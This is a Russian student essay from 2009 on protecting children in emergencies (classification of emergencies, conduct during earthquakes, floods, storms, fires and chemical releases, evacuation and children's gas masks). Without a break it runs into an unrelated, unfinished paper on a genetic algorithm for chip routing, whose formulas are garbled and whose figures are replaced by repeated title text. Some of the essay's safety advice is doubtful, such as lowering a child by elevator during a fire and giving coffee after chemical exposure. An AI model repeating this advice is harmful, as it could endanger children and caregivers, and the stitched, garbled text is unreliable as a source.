Реферат: Особенности организации защиты детей в чрезвычайных ситуациях

Факультет Заочного обучения

Кафедра гуманитарных и социальных дисциплин

РЕФЕРАТ

По дисциплине: «Безопасность жизнедеятельности»

Тема: «Особенности организации защиты детей в чрезвычайных ситуациях»

Работу выполнила:

студент 2 курса

группы

№ зачетной книжки

0000-0383

Работу проверил:

г. Санкт-Петербург

2009 год

Содержание

Введение…………………………………………………………………………….3

1. Классификация чрезвычайных ситуаций………………………………….….4

2. Защита детей в чрезвычайных ситуациях……………………………………10

2.1 Общие положения по защите детей…………………………………………10

2.2 Особенности защиты детей при стихийных бедствиях, авариях и катастроф…………………………………………………………………………….12

2.3 Правила эвакуации детей и средства индивидуальной защиты детей…….18

Заключение…………………………………………………………..……………20

Список использованной литературы……………………………………………22

Введение

На всех стадиях своего развития человек был тесно связан с окружающим миром. На рубеже XXI века человечество всё больше и больше ощущает на себе проблемы, возникающие при проживании в высокоиндустриальном обществе. Опасное вмешательство человека в природу резко усилилось, расширился объём этого вмешательства, оно стало многообразнее и сейчас грозит стать глобальной опасностью для человечества. Количество ЧС растет лавинообразно и за последние 20 лет возросло в 2 раза. А это значит, растёт число жертв и материальный ущерб, как в промышленности, так и на транспорте, в быту, в армии и т.д. Но наибольшую опасность представляют крупные аварии, катастрофы на промышленных объектах и на транспорте, а также стихийные и экологические бедствия. В результате вызываемые ими социально–экологические последствия сопоставимы с крупномасштабными военными конфликтами.

Забота о детях должна постоянно находиться в центре внимания взрослых. Защита здоровья и жизни детей в любых чрезвычайных ситуациях — одна из самых гуманных и самых важных задач.

Нельзя забывать, что только за прошедшие 20 лет вследствие природных катаклизмов погибло около 3 млн. человек. Каждый третий из них — ребёнок. Во время чрезвычайных ситуаций дети особенно подвержены травматизму, болезням, опасности потерять родственников и остаться одинокими, беспомощными в большой массе людей и потому нуждаются в особом внимании и заботе.

Забота об их защите — дело не только родителей, по и всех административных, хозяйственных и общественных структур государства.

1. Классификация чрезвычайных ситуаций

В Федеральном законе «О защите населения и территорий от чрезвычайных ситуаций природного и техногенного характера» чрезвычайная ситуация определяется как «обстановка на определенной территории, сложившаяся в результате аварии, опасного природного явления, катастрофы, стихийного или иного бедствия, которые могут повлечь или повлекли за собой человеческие жертвы, ущерб здоровью людей или окружающей природной среде, значительные материальные потери и нарушения условий жизнедеятельности людей».

Чрезвычайная ситуация — это состояние, при котором в результате возникновения источника ЧС на объекте, определенной территории или акватории нарушаются нормальные условия жизни и деятельности людей, возникает угроза их жизни и здоровью, наносится ущерб имуществу населения, народному хозяйству и природной среде.

Под источником чрезвычайных ситуаций понимают опасное природное явление, аварию или опасное техногенное происшествие, широко распространенные инфекционные болезни людей, сельскохозяйственных животных и растений, а также применение современных средств поражения, в результате чего происходит или может произойти ЧС.

Чрезвычайные ситуации классифицируют:

по природе возникновения

природные

техногенные

экологические

биологические

антропогенные

социальные

комбинированные

по масштабам распространения последствий

локальные

объектовые

местные

национальные

региональные

глобальные

по причине возникновения

преднамеренные

непреднамеренные (стихийные)

по скорости развития

взрывные

внезапные

скоротечные

плавные

по возможности предотвращения ЧС

неизбежные (природные)

предотвращаемые (техногенные, социальные)

антропогенные

К техногенным относятся ЧС, происхождение которых связано с техническими объектами – пожары, взрывы, аварии на химически опасных объектах, выбросы радиоактивных веществ, обрушений зданий, аварии на системах жизнеобеспечения.

К природным относятся ЧС, связанные с проявлением стихийных сил природы – землетрясения, наводнения, извержения вулканов, оползни, ураганы, смерти, бури, природные пожары и др.

К экологическим ЧС относятся аномальные природное загрязнение атмосферы, разрушение озонового слоя земли, опустынивание земель, засоление почв, кислотные дожди и др.

К биологическим ЧС относятся эпидемии, эпизоотии, эпифитотии.

К социальным ЧС относятся события, происходящие в обществе – межнациональные конфликты, терроризм, грабежи, геноцид, войны и др.

Антропогенные ЧС являются следствием ошибочных действий людей.

Локальные ЧС – это чрезвычайные ситуации, масштабы которых ограничиваются одной промышленной установкой, поточной линией, цехом, небольшим производством или какой-то отдельной системой предприятия. Для ликвидации последствий достаточно сил и средств, имеющихся на пострадавшем объекте.

Объектовые ЧС – это чрезвычайные ситуации, когда последствия ограничиваются территорией завода, комбината, промышленно – производственного комплекса, учреждения, учебного заведения, но не выходит за рамки объекта. Для их ликвидации привлекают, хотя и все силы и средства предприятия, но их достаточно, чтобы справиться с аварийной ситуацией.

Местные ЧС – это чрезвычайные ситуации, масштабы которых ограничены поселком, городом, районом, отдельной областью. Для ликвидации последствий достаточно сил и средств, имеющихся в непосредственном подчинении местной власти, начальника ГО, его комиссии по ЧС, а также на объектах промышленности, транспорта. В отдельных случаях могут привлекаться воинские части гражданской обороны и другие подразделения МЧС.

Национальные ЧС – это чрезвычайные ситуации, которые охватывают несколько экономических районов или суверенных государств, но не выходят за пределы страны. Последствия ликвидируются силами и ресурсами страны, зачастую с привлечением иностранной помощи.

Региональные ЧС – это чрезвычайные ситуации, распространяющиеся на несколько областей, республик, крупный регион. Их ликвидацией занимаются, как правило, региональные центры МЧС или специально создаваемые министерством оперативные группы. Для проведения спасательных и других неотложных работ привлекают, кроме всех видов формирований, подразделения МЧС, МВД и ОМ.

Глобальные ЧС – это чрезвычайные ситуации, последствия которых настолько велики, что захватывают значительные территории, несколько республик, краев, областей и сопредельные страны. Для ликвидации последствий привлекают силы МЧС, МО, МВД, ФСБ. Проведением спасательных и других неотложных работ, как правило, занимается специальная правительственная комиссия или лично начальник ГО страны – Председатель Правительства.

Чрезвычайные ситуации мирного времени можно разделить на пять групп:

сопровождающиеся выбросами опасных веществ в окружающую среду;

связанные с возникновением пожаров, взрывов и их последствий;

на транспортных коммуникациях;

военно-политического характера;

вызванные стихийными бедствиями.

К первой группе чрезвычайных ситуаций, сопровождающихся выбросами опасных веществ в окружающую среду, относят:

— аварии на атомных электростанциях;

— утечки радиоактивных газов на предприятиях ядерно-топливного цикла за пределы санитарно-защитной зоны;

— аварии на атомных судах с радиоактивным загрязнением акватории порта и прибрежной территории;

-аварии на ядерных установках научно — исследовательских центров с радиоактивным загрязнением территории;

— аварийные ситуации во время промышленных и испытательных ядерных взрывов, связанные со сверхнормативным выбросом радиоактивных веществ в окружающую среду;

— падение летательных аппаратов с ядерными энергетическими устройствами на борту с последующим радиоактивным загрязнением местности;

— аварии на химически опасных объектах с выбросом (утечкой) в окружающую среду сильнодействующих ядовитых веществ;

— аварии с выбросом (утечкой) в окружающую среду бактериологических средств и биологических веществ в концентрациях, превышающих допустимых значения.

Ко второй группе чрезвычайных ситуаций относятся:

— пожары в населенных пунктах, на объектах экономики и транспортных коммуникациях;

— взрывы на объектах и транспортных коммуникациях;

— взрывы в жилых домах.

К третьей группе относятся:

— авиационные катастрофы;

— столкновение и сход с рельсов железнодорожных составов (поездов в метрополитене);

— аварии на водных коммуникациях, повлекшие значительное количество человеческих жертв или вызвавшие загрязнение акватории портов, прибрежных

территорий, внутренних водоемов нефтепродуктами и (или) сильнодействующими ядовитыми веществами;

— аварии на трубопроводах, вызвавшие выброс большой массы транспортируемых веществ и загрязнение ими окружающей среды;

К четвертой группе относятся ЧС военно-политического характера в мирное время:

— единичный (случайный) ракетно – ядерный удар, нанесенный с акватории нейтральных вод кораблем неустановленной принадлежности или падения носителя ядерного оружия с взрывом боевой части;

— падение носителя ядерного оружия с разрушением или без разрушения боевой части;

— вооруженное нападение на штабы, пункты управления, узлы связи, склады войсковых сооружений и частей (в том числе гражданской обороны);

-волнение в отдельных районах, вызванных выступление антиобщественных или националистических групп (элементов), попытка захвата радиовещательных станций, государственных и общественно-политических учреждений.

Пятая группа включает чрезвычайные ситуации, вызванные стихийные бедствиями:

-стихийные бедствия, геологического характера (землетрясения, вулканы, оползни, селевые потоки, снежные лавины);

— Стихийные бедствия метеорологического характера (ураганы, бури, смерчи);

— стихийные бедствия гидрологического характера (наводнение, заторы льдов на реках, цунами);

— природные пожары.

2. Защита детей в чрезвычайных ситуациях

2.1 Основные положения по защите детей

Информация об угрозе или уже случившейся возникшей чрезвычайной ситуации (аварии) передается в первую очередь в детские, учебные и медицинские учреждения, которые находятся в зоне возможного поражения.

С получением сигнала оповещения и информации о чрезвычайной ситуации родители (родственники детей, воспитатели, учителя или взрослые, находящиеся рядом с детьми без присмотра родителей) обязаны принять все доступные меры, рекомендуемые населению в целях обеспечения безопасности детей.

Такими мерами, в зависимости от обстановки, могут быть: эвакуация детей вместе с родителями (взрослыми) из опасных мест, оказание медицинской помощи, создание нормальных санитарно-гигиенических условий, обеспечение полноценным питанием, принятие мер к розыску родителей (родственников) потерявшихся детей.

Детям дошкольного возраста вкладывается в карман или пришивается к одежде записка, где указываются его фамилия, имя и отчество, домашний адрес, а также фамилии, имена и отчества родителей.

В чрезвычайных ситуациях лучше, если дети находятся под присмотром родителей или других близких, поскольку с ними они чувствуют себя в большей безопасности.

Во время чрезвычайных ситуаций обязанность следить за тем, чтобы дети не были разлучены со своими родителями или воспитателями, возлагается в первую очередь на их семью, учебное заведение или учреждение, где находятся дети, на местные органы власти и правительство страны.

Если все-таки дети расстаются с родителями (близкими), местные власти или правительство отвечают за обеспечение детям защиты и ухода. В их обязанности также входит поиск родителей или родных ребенка в целях воссоединения семьи. Дети, которые были разлучены со своими родными во время чрезвычайных ситуаций, не могут считаться сиротами и не могут быть усыновлены до полного выяснения судьбы их родителей или близких родственников.

В случае стихийного бедствия, аварии или катастрофы детям должны быть обеспечены необходимая квалифицированная медицинская помощь, оптимальные санитарно-гигиенические условия и полноценное питание. При чрезвычайных ситуациях особенно важно продолжать грудное вскармливание младенцев.

В местах массового скопления людей болезни распространяются очень быстро. Всем детям беженцев или детям, попавшим в чрезвычайную ситуацию и временно живущим в трудных условиях, нужно сделать прививки согласно рекомендациям органов государственного санитарно-эпидемиологического надзора.

Для того чтобы дети почувствовали себя защищенными, необходимо как можно скорее создать им привычные условия — вовлекать в жизнь новой общины, организовать учебу в школе, игры со сверстниками, спортивные мероприятия и другие формы отдыха, постоянный график питания и сна. Если стрессовая реакция у ребенка затягивается и приобретает острый характер, следует обеспечить ему квалифицированную помощь.

Особую опасность представляют взрывоопасные предметы и неразорвавшиеся боеприпасы. Детям необходимо обеспечить безопасные места для игр и строго запретить брать в руки незнакомые предметы и играть с ними.

Забота о детях должна постоянно находиться и центре внимания взрослых. Защита здоровья и жизни детей в любых чрезвычайных ситуациях одна из самых гуманных и самых важных задач.

В случае нарастания угрозы возникновения какого-либо чрезвычайного события (наводнения, бури, урагана, снежных заносов, резкого похолодания, инфекционного заболевания и пр.) не допускайте, чтобы дети уходили из дома, они должны постоянно находиться под наблюдением взрослых. При необходимости оставить дома детей старшего возраста следует предупредить их о том, чтобы репродуктор радиовещания или радиоприемник были постоянно включены на случай объявления сигналов оповещения или экстренной информации. Напомнить о строжайшем соблюдении санитарно-гигиенических правил: обязательного мытья рук с мылом перед едой, употребления воды и молока только кипяченых, обмывания фруктов и овощей перед употреблением кипяченой водой, тщательной уборки жилых помещений, мытья посуды с мылом или другими моющими средствами.

Все разъяснения детям давать с учетом их возрастных и психологических особенностей. Ни в коем случае нельзя вызывать своим поведением и разговорами у детей страх. Это может привести к нанесению им тяжелых психических травм.

Учителя, учебно-воспитательный и обслуживающий персонал школ должны твердо знать свои обязанности на случай аварии или пожара вблизи учебного заведения, стихийного бедствия, место укрытия детей, маршрут следования к нему. Для этого во всех образовательных учреждениях должны проводиться занятия, тренировки, дни защиты детей.

2.2 Особенности защиты детей при стихийных бедствиях, авариях и катастроф

При землетрясениях.

Землетрясения по своему разрушительному действию не имеют себе равных среди остальных стихийных бедствий. Если первые толчки застали вас дома, то те, кто находился на первых этажах, должны немедленно взять детей и с ними выбежать на улицу. Живущим на втором и последующих этажах встать в дверных и балконных проемах, прижав к себе ребятишек. Можно воспользоваться углами, образованными капитальными стенами. Эти места наиболее прочны, здесь больше шансов остаться невредимыми. Ни в коем случае не разрешайте детям прыгать из окон, с балконов и лоджий. В большинстве случаев это приводит к трагическим последствиям.

Как только толчки прекратятся, немедленно покиньте помещение. Не отпускайте детей одних, смотрите, чтобы они не пользовались лифтами в любой момент могут застрять.

Строго следите за тем, чтобы ни один ребенок не зашел в поврежденное здание. Помните, после первого могут последовать повторные толчки. Будьте готовы к этому сами и предупредите малышей. Толчки обычно происходят через несколько часов, а иногда и суток.

Дети любят пользоваться спичками и зажигалками, свечками и горящими лучинками не допускайте этого. При утечке газа из поврежденных коммуникаций открытый огонь приведет к взрыву и дополнительным жертвам.

Может случиться, первые толчки застали вас на улице. Немедленно как можно дальше отведите детей от зданий и сооружений, высоких заборов и столбов они могут разрушиться.

Работникам детских учреждений и учебных заведений в сейсмически опасных районах следует твердо усвоить, что в момент разрушения или повреждения зданий опасность представляют не только падающие стены и перекрытия, а также разлетающиеся кирпичи, стекла, дымовые трубы, карнизы, балконы, осветительные устройства, вывески, дорожные знаки.

Если вы увидели травмированных детей, тут же окажите им первую медицинскую помощь.

При наводнениях, которые довольно часто бывают во многих районах Дальнего Востока, Сибири, Южного Урала, нижней Волги, приводят к человеческим жертвам. Чтобы этого не произошло, надо максимально использовать время, которого не так много.

При угрозе затопления работа школ и дошкольных учреждений прекращается. Детей отправляют домой или переводят в безопасные места. Может быть принято решение об эвакуации из опасной зоны, тогда в первую очередь вывозят малышей, детские учреждения и больницы. Если это сделать не удалось, надо поднять ребят на верхние этажи зданий, на чердаки, а по мере подъема воды и на крыши. Оттуда их следует вывозить на ботах, катерах, баржах, лодках. На плавающие средства входить они должны по одному, ступая на середину настила. Во время движения не разрешайте детям меняться местами, садиться на борта, толкаться. После причаливания один из взрослых выходит на берег и держит лодку за борт до тех пор, пока все дети не окажутся на суше.

В крайних случаях надо предложить каждому ребенку в отдельности воспользоваться надежными подручными средствами бочками, бревнами, деревянным щитами, дверями, обломками заборов, автомобильными камерами и другими предметами, способными удержать его. Обязательно рядом должен быть взрослый.

Вода может застать вас в поле, в лесу. При такой ситуации необходимо как можно быстрее вывести детей на возвышенные места. Если нет такой возможности, помочь ребенку забраться на прочное развесистое дерево. К тонущему ребенку подплывать лучше со спины. Приблизившись, взять его за голову, плечи, руки, воротник, повернуть лицом вверх и плыть к берегу, работая свободной рукой и ногами.

Если есть лодка, приближаться к терпящему бедствие следует против течения, при ветреной погоде против ветра и волны. Вытаскивать ребенка из воды лучше всего со стороны кормы. Доставив его на берег, немедленно приступить к оказанию первой медицинской помощи.

Буря, ураган, шторм, смерч все это явления, вызванные действием ветра большой разрушительной силы, высокой скорости и значительной продолжительности. Ураганный ветер разрушает прочные и сносит легкие строения, валит столбы, вырывает с корнями деревья, обрывает провода, повреждает транспортные магистрали. Метеослужба достаточно достоверно прогнозирует эти явления, предупреждает о скорости и направлении движения ветра.

После передачи по радио штормового предупреждения детей из домов, учебных заведений, детских дошкольных учреждений не выпускают. Следует запретить ребятам подходить к окнам они могут быть ранены осколками разлетающегося стекла. Лучше стать в простенок или отвести детей в коридор. Для защиты можно использовать прочную мебель письменный стол, шкаф, парту, Как показала практика, самыми безопасными местами в таких случаях являются убежища, подвалы, погреба, внутренние помещения первых этажей кирпичных зданий. Нельзя разрешать выходить на улицу сразу после ослабления ветра через несколько минут порыв может повториться.

Если во время бури, урагана вы оказались на улице, быстрее ложитесь на дно канавы, котлована, придорожного кювета, в любое другое углубление крепко прижмите к себе ребенка. Его голову прикройте сумкой, портфелем, ранцем, любым другим предметом. Держитесь подальше от зданий и строений.

Чаще всего в такой ситуации дети получают травмы от осколков стекла, шифера, черепицы, кусков кровельного железа, сорванных дорожных знаков, деталей отделки фасадов и карнизов, предметов, хранящихся на лоджиях и балконах. Не разрешайте ребенку браться или наступать на оборванные провода они могут быть под током. Предвидев бурю, ураган, снежные заносы, надо позаботиться об аварийных источниках освещения, создать запасы воды и продуктов на 2-3 суток. Подумайте, что в таких условиях может потребоваться детям из питания и одежды. Не забудьте запастись медикаментами и особенно перевязочными материалами. Радиоприемники и телевизоры необходимо держать постоянно включенными, так как по ним будут передаваться сообщения, информация, разъяснения о правилах поведения в конкретной ситуации. При пожарах надо помнить, что выводить детей из зоны пожара через огонь и дым крайне нежелательно. Следует искать более легкие и безопасные пути. Если невозможно воспользоваться лестничными клетками, пробуйте спустить ребенка на лифте пли через окно, балкон, лоджию, к которым подаются автомобильные подъемники, выдвижные и приставные лестницы. В крайнем случае, когда все выходы отрезаны огнем, и укрыться в каком-либо безопасном месте нельзя, надо взять прочную веревку или надежно связать несколько простыней, одним концом крепко обвязать ребенка, другой привязать к тяжелому предмету, батареям отопления. Затем, обмотав веревку вокруг рук, начать потихоньку спускать его на землю. Речь идет о 2, 3 и 4 этажах. Нельзя привязывать веревку к оконной раме под тяжестью человека она может вывалиться.

Если вы отыскали в горящем помещении ребенка, который может сам передвигаться, надо накинуть на него увлажненную простыню, скатерть, одеяло и крепко взяв за руки, вывести в безопасное место.

Рот и нос закрыть мокрым платком, шарфом, косынкой. Если ребенок потерял сознание, взять его на руки и немедленно выходить из зоны огня и дыма. В том случае, когда загорелась одежда, надо как можно скорее набросить на него мокрое или даже сухое покрывало и плотно прижать его к телу, чтобы прекратить доступ воздуха и остановить горение. Смотрите, чтобы ребенок, на котором горит одежда, не побежал пламя только усилится. Не вздумайте тушить одежду при помощи огнетушителя может произойти химический ожог. В тех помещениях, которые сильно задымлены и там находятся дети немедленно широко раскройте окна и двери для проветривания, Уменьшит задымленность струя распыленной воды, которая охлаждает дым и одновременно осаждает его твердые частицы. Поиск детей в горящем здании прекращается лишь тогда, когда точно известно, что ни одного ребенка там больше нет, когда тщательно проверены все охваченные огнем и дымом помещения.

Аварии с выбросом (разливом) аварийно химически опасных веществ (АХОВ) не исключены на хладо- и мясокомбинатах, водопроводных станциях, целлюлозно-бумажных предприятиях, химических заводах. В этих случаях в атмосферу попадают аммиак, хлор, могут быть и другие вещества.

Во всех случаях при возникновении опасности химического заражения лучше всего надеть на ребенка детский противогаз или укрыться в ближайшем убежище. Но не всегда это возможно. Больше вероятности, что придется срочно выходить из зоны заражения. Готовясь к выходу, наденьте на ребенка плотную верхнюю одежду, лучше плащ, застегните его на все пуговицы, шею обвяжите шарфом, на ноги резиновые сапоги, на голову шапочку, рот и нос прикройте ватно-марлевой повязкой, предварительно смочив ее в воде или 2% растворе питьевой соды при хлоре, 5% растворе лимонной кислоты при аммиаке. Только в таком виде можно выходить на улицу и следовать в указанный район.

Если не было четких указаний и не говорилось, куда выходить или вы просто не расслышали, что делать тогда? Выходить самим и выводить (вывозить) детей из зоны возможного заражения в направлении, перпендикулярном движению ветра.

Времени для этого очень мало. Облако АХОВ движется со скоростью ветра.

Ни в коем случае нельзя прятать детей в подвалах, погребах, оврагах, балках. Многие ядовитые вещества, как, например, хлор, сероводород, бензол тяжелее воздуха. Стелятся по земле, затекая в низинные места.

А если укрыть детей в убежище или вывести из зоны заражения не удалось, тогда оставайтесь дома, но плотно закройте окна и двери, дымоходы, вентиляционные отверстия. Входные двери надо завесить, плотной тканью, одеялом. Щели в окнах и стыки в рамах заклеить обычной бумагой, пленкой, лейкопластырем. Такая герметизация на какое-то время затруднит проникновение АХОВ в помещение.

При подозрении на поражение АХОВ исключите ребенку любые физические нагрузки, дайте обильное теплое питье это, может быть, чай, молоко, кофе. Затем обязательно покажите его медицинскому работнику.

2.3 Правила эвакуации детей и средства индивидуальной защиты детей

При некоторых крупных авариях, катастрофах или стихийных бедствиях могут сложиться такие условия, которые потребуют срочной эвакуации детей. Скажем, из зоны радиоактивного или химического заражения, из района землетрясения или катастрофического затопления. В такой ситуации особое внимание должно быть уделено организованному и быстрому проведению всех необходимых мероприятий.

Эвакуируются дети, как правило, вместе с родителями. Воспитанники детских домов и школ-интернатов обычно эвакуируются в составе этих заведений.

При подготовке к эвакуации необходимо позаботиться об одежде детей. Она должна быть теплой, легкой и удобной. Следует также позаботиться об удобной обуви для детей старшего возраста, которым может быть придется эвакуироваться в пешем порядке. Детям дошкольного возраста пришиваются к одежде и белью ярлычки с указанием фамилии, имени и отчества ребенка, года рождения, места постоянного жительства и конечного пункта эвакуации. Из вещей в дорогу следует подготовить лишь самое необходимое: одежду, обувь, белье, теплые вещи, а также запас продуктов на 2-3 дня и флягу или термос с водой.

Посадка детей на транспортные средства производится в первую очередь. Детям разъясняются правила поведения в ходе эвакуации. В пути следования необходимо следить, чтобы они без разрешения старших не выходили на остановках, не переходили из вагона в вагон, не пересаживались с одной машины в другую, не пили воду из непроверенных источников, не ели немытые фрукты и овощи, соблюдали личную гигиену.

По прибытии на станцию или пункт выгрузки взрослые, сопровождающие детей, должны помочь им организованно выйти, проверить их наличие, а также все ли взяли свои личные вещи и далее действовать, но указаниям местной администрации или представителей эвакоприемной комиссии.

В загородной зоне дети размещаются вместе с родителями по частным домам или в общественных зданиях: школах, клубах, пансионатах и других удобных для этого помещениях.

Для защиты детей промышленность изготавливает противогазы, респираторы, камеры защитные детские, а родители и дети старших возрастов сами готовят ватно-марлевые повязки, противопыльные тканевые маски (ПТМ). Долгое время для защиты органов дыхания, лица и глаз детей в возрасте от 1,5 до 17 лет от аварийно химически опасных, отравляющих, радиоактивных веществ и бактериальных аэрозолей применялись противогазы ПДФ-7 (противогаз детский фильтрующий, тип седьмой), ПДФ-Д (дошкольный), ПДФ-Ш (школьный). Они имеют единую фильтрующе-поглощающую коробку ГП-5 и различаются лишь лицевыми частями.

На смену им промышленность стала изготавливать более совершенные противогазы ПДФ-2Д для детей дошкольного и ПДФ-2Ш -школьного возрастов.

Подбирать и собирать противогаз для детей дошкольного и младшего школьного возрастов, а также надевать и снимать его должны только взрослые. Дети среднего и старшего школьного возрастов эту работу могут производить самостоятельно.

Заключение

Рассмотрев в данной работе чрезвычайные ситуации можно сделать вывод, что дети нуждаются в особой защите, они подвергаются наибольшей опасности и. В связи с этим взрослые обязаны обладать знаниями по защите детей в чрезвычайной ситуации, а также обучать детей, как вести себя при различных чрезвычайных ситуациях.

Уже начиная с дошкольного возраста, необходимо в самой простой и игровой форме детей начинают обучать основам безопасности жизнедеятельности (ОБЖ). В школах и других образовательных учреждениях эти знания и навыки из года в год наращиваются и закрепляются.

Все разъяснения детям давать с учетом их возрастных и психологических особенностей. Ни в коем случае нельзя вызывать своим поведением и разговорами у детей страх.

Учителя, учебно-воспитательный и обслуживающий персонал школ должны твердо знать свои обязанности на случай аварии или пожара вблизи учебного заведения, стихийного бедствия, место укрытия детей, маршрут следования к нему. Для этого во всех образовательных учреждениях должны проводиться занятия, тренировки, дни защиты детей.

Взрослые, прежде всего родители, учителя, учебно-воспитательный состав, персонал детских дошкольных учреждений, обязаны знать и уметь выполнять основные приемы и способы защиты детей при авариях, катастрофах, стихийных бедствиях и других чрезвычайных ситуациях. Подготовка взрослых заключается в изучении своих обязанностей

Подготовка взрослых заключается в изучении своих обязанностей. Родители должны уметь надевать противогаз, респиратор на ребенка, изготавливать ватно-марлевые повязки, подготавливать одежду для защиты от радиоактивных и аварийно химически опасных веществ, квалифицированно проводить противоэпидемические меры при возникновении инфекционных заболеваний.

Знания, полученные как взрослыми, так и детьми в жизни помогут спастись в чрезвычайных ситуациях.

Список использованной литературы

«Безопасность жизнедеятельности» учебник под ред. Э.А. Арустамов Изд-во «Дашков и К» 2001г.

Федеральный закон «О защите населения и территорий от ЧС природного и техногенного характера». – М.,1994.

www.gr-obor.narod.ru

www.unicef.org/russia/ru

Реферат: Генетический алгоритм глобальной трассировки

О.Б. Лебедев

1 Введение

Основной целью задачи глобальной трассировки является равномерное и целесообразное распределение ресурсов коммутационного поля для создания благоприятных условий для последующей детальной трассировки.

Большинство алгоритмов, глобальной трассировки осуществляют последовательное построение соединений на укрупненной модели КП (волновые, лучевые, базирующиеся на построении деревьев Штейнера). [1,2,3,4,5,6,7]. Хотя на каждом шаге для каждого текущего состояния среды алгоритмы дают неплохие результаты, «камнем преткновения» является последовательность трассируемых соединений. Цепи, проложенные раньше ,могут блокировать цепи ,прокладываемые позже.

Другим недостатком является то, что большинство алгоритмов используют критерии в большей степени учитывающие параметры соединений (например: общая длина) и в меньшей степени параметры коммутационного поля, что не совсем согласуется с главной целью глобальной трассировки.

Исходя из этих соображений, в работе используется комбинаторный подход, основанный на методах генетической адаптации, при котором в один и тот же момент времени рассматриваются все соединения, а критерий учитывает распределение ресурсов КП.

При разработке генетических процедур основное влияние уделялось разработке с учетом знаний о предметной области методов кодирования решений, модификации генетических операторов и организации эволюционного процесса.

2. Проблемная формулировка, термины и обозначения

Для решения задачи глобальной трассировки используется графовая модель G = (X, U). Коммутационное поле разбивается на области. Вершины графа xi Î Х соответствуют областям на КП. Если области соседние, то вершины xi и xк, соответствующие этим областям, связываются ребром uj. Пусть задано множество цепей Т={ti| i = 1, 2, …}. Для каждой цепи определяется множество областей, в которых существуют контакты, связываемые этой цепью. На графовой модели G, множеству областей, связываемых цепью xi, соответствует подмножество вершин Хi Ì Х. Для каждого ребра ui, связывающего вершины, задается вес aj, равный пропускной способности между областями, соответствующими вершинам xi и xk. Будем считать, что граф G метризирован, то есть каждая вершина имеет координаты. Координаты вершины принимаются равными координатам центра соответствующей области. Если области имеют один и тот же размер, то граф G представляет собой ортогональную решетку.

Далее для каждой цепи ti на множестве вершин Хi графа G строится минимальное связывающее дерево Di с помощью алгоритма Прима Di={rk | k=1,2, … ,nk}, где rk – ребро минимального связывающего дерева.

Для каждого ребра rk ÎDi формируется набор Vk вариантов vik маршрутов, связывающих на графе G соответствующие вершины. Формирование возможных маршрутов осуществляется следующим образом. Для ребра rkÎDi, связывающего xnÎG и xmÎG, определяется множество вершин Хk Ì X, смежных вершинам хn и хm ребра rk,. Через множество вершин Хк , а так же через вершины xn и xm проводятся новые вертикальные и горизонтальные линии.Отметим, что эти линии проходят по ребрам ортогонального графа G. В узлах пересечения этих линий лежат некоторые вершины хi Î Х. Эти вершины являются узловыми для формирования вариантов. Будем считать, что варианты маршрутов проходят по тем ребрам графа G, которые лежат на этих линиях, рис 1.

Генетический алгоритм глобальной трассировки

Например: сформируем набор вариантов для ребра гк, связывающего вершины хi и хj. Пронумеруем узлы пересечения вертикальных и горизонтальных линий. Вершина хi лежит в узле 3, а вершина хj в узле 10. Для данного  ребра  гk существует   10   вариантов   прохождения   маршрута Vk = {vk1, vk2, vk3, vk4, vk5, vk6, vk7, vk8, vk9, vk10}

vk1 = {3, 2, 5, 8, 11, 10}; vk2 = {3, 6, 5, 8, 11, 10}; vk3 = {3, 6, 9, 8, 11, 10}; vk4 = {3, 6, 9, 12, 11, 10}; vk5 = {3, 2, 1, 4, 7, 10}; vk6 = {3, 2, 5, 4, 7, 10}; vk7 = {3, 6, 5, 4, 7, 10}; vk8 = {3, 2, 5, 8, 7, 10}; vk9 = {3, 6, 5, 8, 7, 10}; vk10 = {3, 6, 9, 8, 7, 10}

Такой способ обеспечивает максимальное совпадение вариантов реализации ребра rk с вариантами ребер, смежных ребру rk. Формирование варианта осуществляется из следующих соображений:

вариант формируется таким образом, чтобы он был минимальной длины.

варианты формируются, чтобы обеспечивалось максимально возможное совпадение вариантов различных ребер одной цепи друг с другом.

Пусть имеется некоторое решение задачи глобальной трассировки, заключающееся в том, что для всех ребер гk всех МСД-цепей, выбраны варианты их реализации. Введем некоторые обозначения. Обозначим через bi число цепей, проходящих по ребру ui графа G. Для каждого ребра ui графа G введем параметр сi, равный сi = ai — bi.

Найдем в графе G ребро, у которого сi имеет минимальное значение, и обозначим его через сmin, то есть cmin  ® «i[cmin £ ci].

Для нашей задачи цель оптимизации – максимизация параметра сmin. При перезагрузках параметр сmin может принимать отрицательное значение. Для оценки качества удобнее использовать критерий, который имеет только положительные значения. Обозначим через am – максимально возможное значение показателя ai среди всех ребер ui графа G, т.е. am ® («i)[ am ³ ai]. В силу этого величина  am – cmin никогда не может быть отрицательной, т.е. am – cm ³ 0. Отметим, что am является константой.

В качестве фитнесса (оценки качества) индивидуальности будет использоваться критерий

Генетический алгоритм глобальной трассировки

Цель оптимизации – максимизация F1.По своей сути максимизация F1 совпадает с максимизацией cmin.

В качестве другого критерия оптимизации можно использовать другую характеристику. Обозначим через g число ребер графа G для которых ci имеет отрицательное значение. Очевидно, что целью генетического поиска должен быть поиск решения (индивидуальности) у которого g имеет минимальное значение.

Пусть m – число всех ребер графа G. Введем фитнесс F2=m — g.

Цель оптимизации в таком случае – максимизация F2

Если при оптимизации по критерию F1 не удается найти такого решения при котором у всех ребер ui Î G, соответствующие им сi имеют положительные значения, то оптимизация по критерию F2 минимизирует число таких ребер. Это делается из следующих соображений: чтобы обеспечить 100% реализацию (разводки) соединений, потребуется меньшее число деформаций областей или границ.

Обозначим через j число ребер всех цепей, для которых выбранные и реализованные варианты соединений включают ребра ui графа G с отрицательными значениями сi.

Пусть Nd – общее число ребер всех максимальных связывающих деревьев.

Введем третий критерий оптимизации: F3=Nd — j

Цель оптимизации заключается в максимизации F3. Это обеспечивает минимальное число соединений, требующих перетрассировки, т.е. оптимизация по F3 уменьшает число перетрассируемых соединений. Если при оптимизации по F1, имеются ребра с отрицательными сi, то в зависимости от метода дотрассировки, деформации областей или границ, используется критерий F2 или F3.

3. Разработка генетических процедур для задачи глобальной трассировки

3.1. Кодирование и декодирование хромосом

Для решения задачи глобальной трассировки  используются генетические методы оптимизации. Представим решение в виде хромосомы.  Кодирование осуществляется следующим образом. Хромосома состоит из генов. Количество генов в хромосоме Hi равно количеству ребер минимальных связывающих деревьев для всех цепей, расположенных на КП. Значением гена является номер варианта из заданного набора вариантов маршрутов, связывающих на графе G соответствующие вершины.

Например, дано КП, на котором расположено множество цепей Т = {t1, t2, t3} , рис. 2.

Генетический алгоритм глобальной трассировки       Генетический алгоритм глобальной трассировки

Так как мы используем графовую модель, то КП можно представить соответственно рис. 3.

